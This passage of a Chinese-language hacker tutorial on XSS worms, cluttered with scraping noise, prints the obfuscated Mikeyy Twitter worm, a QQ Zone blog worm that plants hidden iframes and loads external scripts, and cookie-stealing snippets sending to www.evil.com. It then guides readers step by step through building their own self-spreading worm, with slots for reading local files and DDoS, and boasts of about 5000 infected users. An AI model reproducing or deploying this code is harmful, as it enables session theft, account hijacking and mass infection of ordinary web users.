1 _5 t+ x8 C! @3 _9 cXmlHttp.open("GET","http://www.google.com",false);

0 v, ?5 ~9 Y5 ^2 j4 @4 L8 [XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
' Q5 @! B0 F( H# N) B- \
XmlHttp.send(null);

% f  }) ?) v9 d" g; t0 E/ @& s</script>
% i4 m4 Z: C& H, ]8 g复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
5 D, j# T. c! a7 ~0 ~& A/ l
; T+ k9 ]6 k! f2 f7 wvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
# \1 K+ x5 B: L8 n


XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
2 U9 j$ F9 @' i& a
' P9 c" b8 c0 oXmlHttp.send(null);
9 W2 D0 e5 s3 r- f
<script>
& K' s% x! e4 m复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
复制代码案例:Twitter 蠕蟲五度發威
第一版:
  下载 (5.1 KB)
: Q" r5 S, s) I7 B: F- [
6 天前 08:27
1 Q4 ]0 w2 ^9 c4 x: s8 J7 M2 n
3 d9 S$ g( m# a第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  

6 V' ~. f1 X8 K2 a   2.   
. |5 }6 }% g# E$ l
   3. function XHConn(){  
8 ]; ~( y1 p% \- U
   4.   var _0x6687x2,_0x6687x3=false;  

   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  
$ G! }5 |2 i& Q' I
   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  
2 F) b  Q+ S, a9 a
) a  G. C; |; v5 b$ `6 K4 Y   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  

   8.   catch(e) { _0x6687x2=false; }; }; };  
% b& O9 r8 s+ \' G  ~7 ^+ t复制代码第六版:   1. function wait() {  
% X1 r3 t) P# C# r8 O# ], @
   2.   var content = document.documentElement.innerHTML;  
* J% _- Q3 Z; m' {) P* Q9 A* ~) F
. i$ O' k9 `9 L; S+ G9 o. m1 m3 S   3.   var tmp_cookie=document.cookie;  
3 a/ x' Q5 W* R, j; r
: V! e! E! y/ Q   4.   var tmp_posted=tmp_cookie.match(/posted/);  

   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  
5 s( Z* {3 F3 [
- ]; K& d$ J( I( `% Z! x0 ]8 i   6.   var authtoken=authreg.exec(content);  
0 p& y8 N" D9 U5 g( Z8 T
: j4 X3 Q$ y0 l   7.   var authtoken=authtoken[1];  

   8.   var randomUpdate= new Array();  
& J1 V( @! M7 e  X% R& e6 m: W/ d
& d* C" p8 S% H) `/ `$ K( E   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  

! @3 s8 ?5 G* i% r) E/ J  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  

  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  
/ n3 }4 ]$ W0 U! v% d- r0 Z
  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  
9 h& |- ~, }6 k
  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  

" h3 A% O  w% w3 O" i  B$ r+ q# Q  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  

  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  

  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  
; t7 J. R9 B  I1 W. u4 _
, Y7 c( ~8 a, e) ^. A' }$ i3 s  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  
- O: c4 F, z% u" {8 X3 p- Z
  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  
! ^4 v0 x. a% m7 `6 v
7 s. ^2 I& T0 K& O2 b7 |  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  

% i0 ?5 A) J/ j  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  

! o/ F) I' w; H# v/ j$ t  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  
3 o3 H6 B9 J3 r& K( B: V4 p. i* j8 g
* W  d& N5 }+ \' h. L, i" K( p  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  

: r1 U2 G# S; @8 B4 @8 v  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  

% ~5 S8 e% o8 {" G4 g7 k3 {9 t: _  24.     

  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  
2 [  _( H# k2 i& k, T
3 ]" @# E$ `+ b  26.   var updateEncode=urlencode(randomUpdate[genRand]);  
2 [8 B! l2 \( H+ j! y5 \; \
  27.     

  28.   var ajaxConn= new XHConn();  
1 r0 {  M, F* m  q1 a  u& k
) h% V. \4 j" f3 ?! U- x  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  
  e; u& D2 B$ _0 h
0 c8 w7 o  L, k8 F* O( i7 x! y  30.   var _0xf81bx1c="Mikeyy";  
" ]2 q& j) R! ]7 T6 K6 Z1 Q3 b1 r  u
  31.   var updateEncode=urlencode(_0xf81bx1c);  
) J; x! j3 b" F4 U& g
! G5 j2 x* g& u# ]/ L& f2 M. X+ K1 X  32.   var ajaxConn1= new XHConn();  
/ H7 K# s/ c3 Z# e0 _
  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  
, b$ K; D- m  w; R: Q4 r' T
  a6 ]2 G5 K( L0 D  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  

1 E# `) \& n+ o  35.   var XSS=urlencode(genXSS);  
. s8 [; F1 E0 P4 _% u  U2 B
5 J6 l9 ]: |- t. r& x  36.   var ajaxConn2= new XHConn();  
5 @% N) ]& k6 \) r$ y
  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  

8 G% \" p8 v4 s  H: G9 c8 L  38.     

, U2 M9 a: s0 n. Q7 @( z) u  39. } ;  

) ~0 C+ A2 [+ j/ x+ i$ X  40. setTimeout(wait(),5250);  
复制代码QQ空间XSSfunction killErrors() {return true;}

window.onerror=killErrors;


8 N# `* }7 T3 w( l
: S+ J9 d" Q8 q8 K! L; `var shendu;shendu=4;
/ E$ h* ?! y/ L7 a/ ^
//---------------global---v------------------------------------------

//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？

var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";

var myblogurl=new Array();var myblogid=new Array();
7 n( K4 R7 y+ H9 u- l' }
3 o" N  I; Z  Z- M; ]# K2 @        var gurl=document.location.href;

        var gurle=gurl.indexOf("com/");
( N7 e. }- Q  _/ f" T
        gurl=gurl.substring(0,gurle+3);        
( w* J& `$ E* }+ m! C; `2 A
        var visitorID=top.document.documentElement.outerHTML;
0 E3 c! |3 t$ n8 ]
           var cookieS=visitorID.indexOf("g_iLoginUin = ");

7 S$ \+ ^' |. `' u8 ~7 o) O        visitorID=visitorID.substring(cookieS+14);
1 C7 i! m* k' M& B
        cookieS=visitorID.indexOf(",");

6 l: x& f) S, o$ Q* o        visitorID=visitorID.substring(0,cookieS);

        get_my_blog(visitorID);
1 e1 P4 x: |" f: H$ ^8 v
, t" o; [+ c( ^        DOshuamy();
% `1 k; \, j3 A2 y" n& I* i

6 g( j# K- C" m7 J2 G! ^
2 g% E8 @4 ~  W# P" }1 {+ w//挂马

" ~% [6 x# L) P% t4 j  G1 ]function DOshuamy(){
1 ]$ `8 u9 w5 k, P+ _
' s. j  M# X9 m. H& i  m# cvar ssr=document.getElementById("veryTitle");

ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");

0 _) ~7 O6 b2 Q) D$ H. _4 W}
  r& f: [1 a" i5 R0 W
6 x+ }1 n" k# g( }/ s7 B

//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？
/ y) P$ x0 `0 E+ Y2 ]  j! n" w1 u
function get_my_blog(visitorID){
+ P. B& W8 o; c4 m  ]" J
   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";

   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象

& V- b, t( H& J0 F3 f! ^+ R   if(xhr){    //成功就执行下面的
, [4 s  _, l/ a; w; I
     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL

/ y- w. I7 a: h% y     xhr.send();guest=xhr.responseText;
! K4 @0 m/ u. t4 O
& W2 D$ P8 @% I     get_my_blogurl(guest);    //执行这个函数
3 G! v" x9 h+ p7 h- }6 h" s) O) D
    }

}



+ K( O1 L/ T' q//这里似乎是判断没有登录的
0 u$ i  l" g- t" f: D5 W
" R( @, }8 D8 h5 N" M) yfunction get_my_blogurl(guest){
7 ^7 F& Y% H" U7 ]
. P: F, z4 g- _! H, N  e" H  var mybloglist=guest;
; t; c7 t% V/ c( F( a( I
% E8 c* R% H! p5 X+ z; P  var myurls;var blogids;var blogide;

  for(i=0;i<shendu;i++){

% s4 G3 H) `) w& K# Z% m     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了

     if(myurls!=-1){    //找到了就执行下面的

( K2 E' W  ~: A; @         mybloglist=mybloglist.substring(myurls+11);
0 o7 l; h$ O- y# F
+ W) _+ U  L. R. |0 U# u         myurls=mybloglist.indexOf(')');

         myblogid=mybloglist.substring(0,myurls);
1 ~% y1 q& l3 |8 D; G$ _
! H) @/ ^! m9 O4 o" F: t, L        }else{break;}
$ c" y( D- g5 m4 K
}
2 C6 D' ~6 z! v6 J8 c+ c* K
get_my_testself();    //执行这个函数

- c/ \4 S) j! I4 g8 V9 o}
( _9 O+ v! i4 S9 w! Y: A( u1 P


6 ?2 B; o  G- e+ Z# ~+ G! h//这里往哪跳就不知道了

9 G, q6 N6 Y2 I% ^. f+ O$ o1 {2 efunction get_my_testself(){
0 ]# g# t4 f. K% X6 ?& D6 |
* x& I0 T3 w$ E  ^6 E( ?  for(i=0;i<myblogid.length;i++){    //获得blogid的值
  k. t3 k* m4 G6 ~3 X' u
      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
% X! Z# K9 m' g  n
3 E" r8 n0 M1 ]9 p/ _8 K5 |      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象

3 E6 r: P; Z3 P5 W2 E  z5 x7 B      if(xhr2){        //如果成功

              xhr2.open("GET",url,false);     //打开上面的那个url
: s- H" \4 T6 O* B4 W$ t  S. S/ G
. K3 J: ~8 Q, I5 b) @              xhr2.send();
( x2 G7 \2 x5 Z: R
              guest2=xhr2.responseText;

              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？

2 g6 Z. B6 U( o  F% v              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串

              if(mycheckmydoit!="-1"){    //返回-1则代表没找到
7 M# n; a7 n3 O
  R" G; |/ j0 g- }) w5 A                targetblogurlid=myblogid;   

                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它

                break;
+ o) n% j! w+ ~  h( _0 t
; t  ^: K) g! U9 u4 p) |               }
  l0 t) e9 n  r+ h. T3 x# c2 [
              if(mycheckit=="-1"){
* N* B8 i! y, A) z
                targetblogurlid=myblogid;
9 [% U* W' n8 G1 P4 `8 r# c
                add_js(visitorID,targetblogurlid,gurl);    //执行它
# d$ y& k& @3 x7 C7 J; L! T8 d
                break;
" M) T' M. g" f' Z
, J6 z* T6 |5 E               }
) k* P0 W' Y9 H* P1 l8 o/ A5 w
% L2 `6 e( u, G+ j! g        }      
' V% w: N1 A' f) d9 X& M! j
" b: L1 k! ~. y5 q$ E2 a5 w3 g1 f}
( p/ {3 e4 h5 [/ e+ ^- W; D( M
}
+ _8 S+ h  B! j) |. ]) H  V- h5 G
+ H+ z; d% x, d4 W# j0 M6 V  S
3 ?8 J; {# X' F  Y/ h' L
( K; b! [( A! g0 [3 L//--------------------------------------  

- j/ a! v- F+ Q* V//根据浏览器创建一个XMLHttpRequest对象

6 Y2 e' M9 N: C) q6 Z! ^) v' J* afunction createXMLHttpRequest(){
2 e* K3 t! ]' e0 G9 e3 r
% G* i7 Y1 T1 T% j) X    var XMLhttpObject=null;  

    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  

    else  

      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        

+ t2 P3 F9 B- A        for(var i=0;i<MSXML.length;i++)  

  x- A$ ~* n' S! G        {  
, H; k! Q  Q( y
            try  

            {  
% z3 P9 d" J6 F  V/ Z0 E
                XMLhttpObject=new ActiveXObject(MSXML);  

                break;  
. K& C3 n; C, W  w- q
8 `6 [# p  t( w. b            }  
8 {2 J) p0 R( H" ]' y+ _
            catch (ex) {  

            }  

2 b* X! `) p  i, j! ^         }  
. o1 }. @: ~" h1 L/ J/ f6 Q# e: y
      }

' b8 }% C5 @9 B! u4 }return XMLhttpObject;

}  
6 W$ m: L5 `) P( l5 E9 d6 u$ x5 ?- q
6 w$ _- ^7 [6 I- Z% E- K

( ~/ A2 @5 C" R4 F7 @; Y//这里就是感染部分了

8 E& C+ d/ ~4 T: r6 _9 w4 nfunction add_js(visitorID,targetblogurlid,gurl){
) L& G# \  C3 ?2 y; Q# O  ~2 U
var s2=document.createElement('script');
4 o* D+ p. N% m8 w! @1 v+ ?
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

# ?/ ~; [& ~# ^" g  [( Vs2.type='text/javascript';
/ Q4 Q" K4 b$ v1 K7 G2 J
document.getElementsByTagName('head').item(0).appendChild(s2);

}

4 W, W" r5 e% R8 ]! R

" @" a; O- N$ Z) E) \function add_jsdel(visitorID,targetblogurlid,gurl){
# H$ K0 W, T5 M- @7 n4 `- p+ u- Q
var s2=document.createElement('script');
2 R4 W+ s+ w; B. @
* J/ m/ |- Q- r' b0 R1 Bs2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

6 T) K5 c- w, a; I$ H  E0 is2.type='text/javascript';

" B4 s$ C8 [0 c3 rdocument.getElementsByTagName('head').item(0).appendChild(s2);

- Z! Q% _9 [& p/ c$ _  ~: v}
; c' l' q/ o1 R5 ?- s复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
3 f( y0 B: g+ \, N! [1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
' c' Y. I3 k( M  b% X) @
2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
' E8 A( ]9 U4 ^! D
1 \- j# d9 ]1 M, p  m综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
% V# l* R2 o: g) h

7 l0 s% }$ S, Y# X下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
2 ^: w" k) G" U/ S/ {
! F+ C! s) R- E, y+ k' u1 I首先,自然是判断不同浏览器,创建不同的对象var request = false;

% d4 u8 \) ]- i( x( H0 Mif(window.XMLHttpRequest) {

request = new XMLHttpRequest();

' n0 t8 t/ h7 s. {, ]3 pif(request.overrideMimeType) {
. j, Q; W0 i$ I, _3 L
6 n; \! F" C* B3 C$ `/ b8 Yrequest.overrideMimeType('text/xml');

6 j4 K: z, l# H+ G( f}

} else if(window.ActiveXObject) {
2 @( G0 d; B3 \, V0 O6 S' l
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
6 g6 K1 X$ f% `* H
for(var i=0; i<versions.length; i++) {
+ ]& M* {  A7 f9 q. Z
+ G: s$ A. \8 N- @try {
" ]  ~, D& H+ I) M+ t' V
request = new ActiveXObject(versions);

& ]4 k- O& E' x9 X} catch(e) {}
/ {: c( b/ ?4 d# M! d5 b
}
# @# \2 J- [' f( t5 L
}
2 U) ^* E& ?5 A& b, \# X
, p2 n/ O( p5 ~xmlHttpReq=request;
复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){
+ X; R1 ?1 x" x1 B+ {" Q
$ H+ b8 Q) h  `( u$ ?        var Browser_Name=navigator.appName;

# h4 V/ w; b. e, l3 z6 B        var Browser_Version=parseFloat(navigator.appVersion);

! B0 A0 x+ k+ S; W        var Browser_Agent=navigator.userAgent;
6 G9 E' A' s4 m; C
+ N5 D0 v1 T  h7 {        

        var Actual_Version,Actual_Name;
8 ?' ?- }  R( |
        

: r+ j. b: |1 F, y$ o& \9 ^0 l; t$ q        var is_IE=(Browser_Name=="Microsoft Internet Explorer");
) w! a; {# T0 I% v' A
        var is_NN=(Browser_Name=="Netscape");

        var is_Ch=(Browser_Name=="Chrome");

5 B3 b+ Z0 R3 M. ^0 H5 L% r        
) ^8 e3 ?* [0 i4 |9 c3 d; k: s
$ e( [0 P: Q3 ]# r        if(is_NN){
, |) H8 r; W8 d. P( x! \0 H" L
            if(Browser_Version>=5.0){
0 k5 \* l% }$ e) V- }
                var Split_Sign=Browser_Agent.lastIndexOf("/");
/ d! p7 B# ]) s* o. o
- Z9 p7 X4 {5 v) _" i                var Version=Browser_Agent.indexOf(" ",Split_Sign);

                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);



! C$ \" m9 f1 M9 K                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);

  a/ N, h1 r" j+ e                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
( X( P9 z) e: y2 C; ]5 _: T7 ~! K
            }

            else{

, g! V7 I% u3 L2 i6 q# i                Actual_Version=Browser_Version;

                Actual_Name=Browser_Name;
% R( [, D* c- [5 |
2 ^  w+ g) R8 Y( ]5 H4 m8 c            }

        }
$ \0 X5 g2 I8 M: @, i
; w5 B9 e# z- T* M! f) G        else if(is_IE){
1 {( g% V/ I! B6 i+ M
7 N; v0 B, z( s5 [- R' R7 z            var Version_Start=Browser_Agent.indexOf("MSIE");

            var Version_End=Browser_Agent.indexOf(";",Version_Start);

" ?# w- R! G; m& L, v5 f( n" a- R            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

            Actual_Name=Browser_Name;

            

            if(Browser_Agent.indexOf("Maxthon")!=-1){
7 z' E6 P* x  w, }+ W+ }* w9 d
" Z( E; R  s% [" j7 a1 _                Actual_Name+="(Maxthon)";

1 S# |! Q+ s+ ?( s4 }            }
/ w  M9 m3 ]9 X- U9 n( r
            else if(Browser_Agent.indexOf("Opera")!=-1){
8 O" r. e4 a- o
+ I5 D% c+ F8 A                Actual_Name="Opera";

9 S8 P/ x1 \9 x7 s# S! w4 t                var tempstart=Browser_Agent.indexOf("Opera");

" u+ T3 A: p# D4 y8 m& V. N                var tempend=Browser_Agent.length;
( x( U: V- V" |' s5 {- d/ D7 c
3 ]; [% y8 |: c5 p/ d- [                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

1 v- P1 j1 ]# f            }
8 }3 {- B& h0 T3 v
) Y6 c: U, K0 L& \4 p7 r2 f        }

        else if(is_Ch){

: w) Q' A, h8 F9 j2 @            var Version_Start=Browser_Agent.indexOf("Chrome");
+ ?5 y+ ]2 [) H6 a# [. U9 G; z% f
            var Version_End=Browser_Agent.indexOf(";",Version_Start);

            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

            Actual_Name=Browser_Name;
; E; C: z) E! Y5 R% K: A0 t2 l5 N
1 ?: N4 O: K# \! H& |# j5 c/ U            
; I% a! R, U" u5 `8 F6 g
            if(Browser_Agent.indexOf("Maxthon")!=-1){

$ O/ d) X1 m* Q, p& a$ \1 n                Actual_Name+="(Maxthon)";
6 w, g7 S( Q, w% K; N5 |
. X+ j( n6 Q8 G1 D" |8 p9 P" |/ ?            }

            else if(Browser_Agent.indexOf("Opera")!=-1){

                Actual_Name="Opera";

3 U) i  o6 i! o$ z7 u; o/ u                var tempstart=Browser_Agent.indexOf("Opera");
! Y: m# M  Q  |6 U9 _/ Q! h
                var tempend=Browser_Agent.length;

+ k  l8 j/ Y- G8 \+ h9 D* z; F, _4 ]                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

. p/ n6 z) k' c0 W$ L            }

- `6 |5 Y  F, }        }
, p; g1 m: |9 V9 T8 G
        else{
! {  P' e. A  s3 |8 r3 V+ }
            Actual_Name="Unknown Navigator"
9 m4 g: ^3 e4 W8 `9 V0 r# A9 a; p
            Actual_Version="Unknown Version"

        }


/ ^% F' e( P8 I6 c& E
, l! P4 j7 \1 K$ {: W        navigator.Actual_Name=Actual_Name;
1 A* V$ X0 [6 K0 K( x3 L+ I9 g- C+ J
8 w3 x7 [2 {8 H( B* w) E  N        navigator.Actual_Version=Actual_Version;

        
# d4 r7 O' u' @0 Z* f9 z
5 _4 O4 n: s; N& i$ p3 {" }        this.Name=Actual_Name;

6 M0 F& r' B% E$ R9 w1 [        this.Version=Actual_Version;
9 i3 B  i' T) r5 O2 [! |7 ?
  |% @% E; T5 ?4 |: X2 ]    }
) O# X! w. T+ M  P: r
( p8 C) T6 x$ V& x) k/ v    browserinfo();

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
$ z: t* `7 E" W# ^
2 C' r$ h: F) X9 ?8 x$ k    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
/ N+ s# }( [7 M
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}

+ t8 x/ v+ I; ?: p    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
/ |  z6 V# P4 s0 F% z( X. O8 _( z复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
5 ~( I6 D  c  L5 ^5 j/ b复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.

2 s; C& J0 I4 w' IxmlHttpReq.send(null);

; A& a. W7 r7 K; g+ [7 G% n. Evar resource = xmlHttpReq.responseText;
5 ]! [8 Q  K5 r! I/ B% b4 f5 U5 v
var id=0;var result;

, y) l4 ?1 ~' ]$ l3 Ovar patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
$ F/ u9 i" j  q$ K5 O5 S" T& F
while ((result = patt.exec(resource)) != null)  {
, b6 C) ~0 {3 l& l
id++;
& Q. ]+ t8 c+ c7 ?1 @) F8 o3 ^
}
: S/ S3 W6 ?7 T5 {复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.

9 X6 S! `! n3 s- Hno=resource.search(/my name is/);
* ]; q+ K# L, q. p' U6 X% q& V
var wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
) ^9 k/ i+ }( C4 J9 R5 W
var post="wd="+wd;
6 j3 P; n, ?# j
' u$ [% x. |2 H7 z7 v9 J6 _' ]' uxmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.

xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

xmlHttpReq.setRequestHeader("content-length",post.length);

8 F  ]3 Y7 C+ h& N+ J- x- |xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

xmlHttpReq.send(post);
: m& I$ n8 a* J9 M; D2 n
% a3 K+ f% O, c  v' B}
复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
0 i! v4 _( o9 C' k
4 e$ V8 y. W5 Q4 n" E1 n) |) ~var no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
2 l3 h$ i1 K: N
var namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.
6 W* Q- Q4 k4 m0 `6 J4 C
$ z! ?9 F9 b0 D' Q# E5 [, bvar wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.

var post="wd="+wd;
* D9 g* P; D+ J! V
xmlHttpReq.open("OST","http://vul.com/vul.jsp",false);

; M) \. t7 W4 M5 C% `" q7 e+ p0 `xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
, @1 i! J% q6 f$ O0 j
xmlHttpReq.setRequestHeader("content-length",post.length);

xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

xmlHttpReq.send(post);                 //把传播的信息 POST出去.
7 i5 f' n# y% p# D$ q0 I! g8 p+ W3 J, N6 A
}
复制代码-----------------------------------------------------总结-------------------------------------------------------------------
$ t; S+ f0 {" a6 ?1 k5 k


/ E. x, `  j( |7 ~8 ]( F本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
0 f0 E! V" S" c9 I( B蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.

3 \3 S7 q2 z. C4 |


. A/ i5 x% m( s  I$ u! v
, n8 `( U: ~5 t% h  M# H
' n. n! F& R% |. G# `6 [  T
